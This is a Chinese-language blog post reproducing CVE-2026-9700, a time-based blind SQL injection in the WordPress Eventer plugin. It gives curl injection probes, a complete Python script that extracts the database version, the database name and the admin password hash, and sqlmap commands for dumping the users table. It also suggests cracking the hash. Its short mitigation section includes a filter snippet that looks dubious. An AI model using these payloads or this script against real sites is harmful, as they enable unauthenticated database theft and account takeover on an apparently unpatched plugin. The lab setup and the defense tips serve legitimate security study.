CVE-2026-9700,一个在WordPress Eventer插件中埋了不知道多久的时间盲注漏洞,CVSS 7.5,直接打数据库,无需登录。来吧,上手试一下。

漏洞背景
Eventer 是一个流行的WordPress活动管理插件,用于创建和管理活动日程、票务等。该漏洞存在于所有版本中(截至漏洞披露时),问题出在code参数上,没有做严格的过滤和参数化查询,导致攻击者可以通过构造恶意输入进行基于时间的SQL盲注。
- CVE编号:CVE-2026-9700
- CVSS评分:7.5(High)
- 影响版本:所有版本(官方尚未发布修复补丁)
- 危害:未认证攻击者可通过时间盲注获取数据库中敏感信息,包括用户密码哈希、管理员邮箱等。结合其他漏洞甚至可能实现权限提升。
环境搭建
我们直接用Vulhub?没有现成的靶场?没关系,自己拉一个WordPress环境,装上Eventer插件就行。
# 拉取WordPress + MySQL环境
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=wordpress -d mysql:5.7
docker run --name wp -p 8080:80 --link wp-mysql:mysql -e WORDPRESS_DB_HOST=mysql -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=root -e WORDPRESS_DB_NAME=wordpress -d wordpress:latest
# 进入容器下载并激活Eventer插件(假设版本为4.0.0)
docker exec -it wp bash
cd /var/www/html/wp-content/plugins
wget https://downloads.wordpress.org/plugin/eventer.4.0.0.zip
unzip eventer.4.0.0.zip
# 然后去后台激活插件
浏览器访问 http://localhost:8080/wp-admin,默认账号密码 admin / admin(第一次安装时设置)。激活Eventer插件。
复现步骤(核心)
第一步:定位漏洞点
漏洞存在于Eventer插件的前端AJAX处理函数中,具体在eventer_ajax_get_event_tickets这个action里。code参数被直接拼接进了SQL查询。
我们看一下关键代码(反编译后):
$code = $_POST['code'];
$event_id = $wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_title = '$code'");
看到没?$code直接怼进去了,没转义,没预处理。经典到不能再经典的注入。
第二步:探测注入点
用Burp Suite抓个包,或者直接curl干。
curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
-d "action=eventer_ajax_get_event_tickets&code=test"
正常返回应该是空的JSON或者错误信息。现在试试注入探测:
curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
-d "action=eventer_ajax_get_event_tickets&code=test' AND 1=1-- -"
如果返回和上面一样,说明没报错。再试:
curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
-d "action=eventer_ajax_get_event_tickets&code=test' AND 1=2-- -"
如果返回不一样(比如空结果或不同响应),说明AND 1=2让查询没结果了——注入点确认。
第三步:时间盲注实战
因为这里是盲注,看不到直接数据输出,我们用时间盲注来拖数据。
先确认SLEEP()函数可用:
curl -X POST http://localhost:8080/wp-admin/admin-ajax.php \
-d "action=eventer_ajax_get_event_tickets&code=test' AND SLEEP(5)-- -"
如果请求卡了5秒才返回,恭喜,时间盲注成立。
第四步:拖取数据库信息
我们写个Python脚本来自动化盲注,省得手撸。
import requests
import string
import time
url = "http://localhost:8080/wp-admin/admin-ajax.php"
charset = string.ascii_lowercase + string.digits + "_-@."
def blind_inject(query, length_check=False):
result = ""
for i in range(1, 64): # 最多64字符
found = False
for c in charset:
# 构造时间盲注payload
payload = f"test' AND IF(SUBSTRING(({query}),{i},1)='{c}',SLEEP(3),0)-- -"
data = {"action": "eventer_ajax_get_event_tickets", "code": payload}
start = time.time()
r = requests.post(url, data=data)
elapsed = time.time() - start
if elapsed > 2.5: # 如果响应时间超过2.5秒,说明字符匹配
result += c
print(f"[+] Found char {i}: {c} -> Current: {result}")
found = True
break
if not found:
break
return result
# 获取数据库版本
print("[*] Extracting database version...")
version = blind_inject("SELECT VERSION()")
print(f"[+] Version: {version}")
# 获取当前数据库名
print("[*] Extracting database name...")
db_name = blind_inject("SELECT DATABASE()")
print(f"[+] DB Name: {db_name}")
# 获取WordPress管理员密码哈希
print("[*] Extracting admin password hash...")
hash_val = blind_inject("SELECT user_pass FROM wp_users WHERE user_login='admin'")
print(f"[+] Admin Hash: {hash_val}")
跑一下脚本:
python3 exploit.py
大概几分钟后,你会看到类似这样的输出:
[+] Found char 1: 8 -> Current: 8
[+] Found char 2: . -> Current: 8.
...
[+] Version: 8.0.35
[+] DB Name: wordpress
[+] Admin Hash: $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
拿到了!管理员密码哈希,直接丢hashcat跑一下,运气好几分钟出明文。
第五步:用sqlmap一键梭哈(懒人版)
手工太累?上sqlmap:
sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
--data="action=eventer_ajax_get_event_tickets&code=test" \
-p code \
--technique=T \
--dbms=mysql \
--batch \
--dbs
sqlmap会自动检测到时间盲注,然后你可以加-D wordpress -T wp_users --dump直接拖用户表。
不过注意,sqlmap的payload可能会被WAF拦,但WordPress默认没WAF,所以随便搞。
防御措施
- 立即更新插件:关注Eventer官方更新,打补丁。
- 临时修复:在
functions.php里加个过滤器,对code参数做转义:
php
add_filter('eventer_ajax_get_event_tickets', function($code) {
return esc_sql($code);
}); - 使用WAF:部署ModSecurity或Cloudflare WAF,拦截SQL注入payload。
- 代码审计:所有数据库查询改用
$wpdb->prepare()预处理语句。
总结
CVE-2026-9700就是一个典型的“开发偷懒没做参数化查询”导致的SQL注入,WordPress插件生态里这种洞一抓一大把。时间盲注虽然慢,但稳,拖库只是时间问题。赶紧去检查你的Eventer插件版本,没修的话,你的站可能已经被人拖了。
💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者
